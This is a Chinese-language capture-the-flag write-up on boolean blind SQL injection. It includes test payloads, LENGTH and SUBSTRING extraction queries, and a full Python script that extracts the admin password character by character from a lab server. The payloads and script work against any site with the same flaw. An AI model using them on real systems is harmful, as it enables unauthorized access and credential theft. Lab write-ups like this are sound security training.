简易盲注SQL注入
发布: (2025年12月31日 GMT+8 02:10)
2 min read
原文: Dev.to
Source: Dev.to

漏洞分析
网站通过 HTTP GET 接收参数 uid。
Payload 1
admin' AND 1=1 --
结果:

Payload 2
admin' AND 1=2 --
结果:

→ 未返回 "exists"。
结论
后端使用的 SQL 查询形式为:
SELECT * FROM users WHERE uid = '$uid';
→ 这是一种 布尔盲注(Blind SQL Injection)。
利用策略
- 使用
LENGTH(upw)确定密码长度。 - 使用
SUBSTRING(upw, position, 1)提取每个字符。 - 与已知字符集(
[a-z0-9_])进行比较。 - 通过响应字符串
"exists"判断条件是否成立。
详细利用步骤
3.1. 确定密码长度
示例 Payload:
admin' AND LENGTH(upw)=N --
逐渐增大 N,直到服务器返回 "exists" 为止。
3.2. 提取密码的每个字符
在位置 i 使用的 Payload:
admin' AND SUBSTRING(upw,i,1)='c' --
对每个位置遍历整个字符集 [a-z0-9_]。
Exploit 脚本
import requests
import string
URL = "http://103.97.125.56:30536/"
TRUE_TEXT = "exists"
charset = string.ascii_lowercase + string.digits + "_"
def is_true(payload):
params = {"uid": payload}
r = requests.get(URL, params=params, timeout=5)
return TRUE_TEXT in r.text
def get_length(max_len=50):
print("[*] 正在确定密码长度...")
for length in range(1, max_len + 1):
payload = f"admin' AND LENGTH(upw)={length} -- "
if is_true(payload):
print(f"[+] 密码长度为: {length}")
return length
raise Exception("未能确定密码长度")
def dump_password(length):
password = ""
print("[*] 正在提取密码...")
for i in range(1, length + 1):
for c in charset:
payload = f"admin' AND SUBSTRING(upw,{i},1)='{c}' -- "
if is_true(payload):
password += c
print(f"[+] 找到第 {i} 位字符: {c}")
break
else:
raise Exception(f"未能在位置 {i} 找到字符")
return password
if __name__ == "__main__":
length = get_length()
password = dump_password(length)
print("\n[✓] admin 密码:", password)
获得的结果

获取密码后,进行登录:

得到的 Flag:
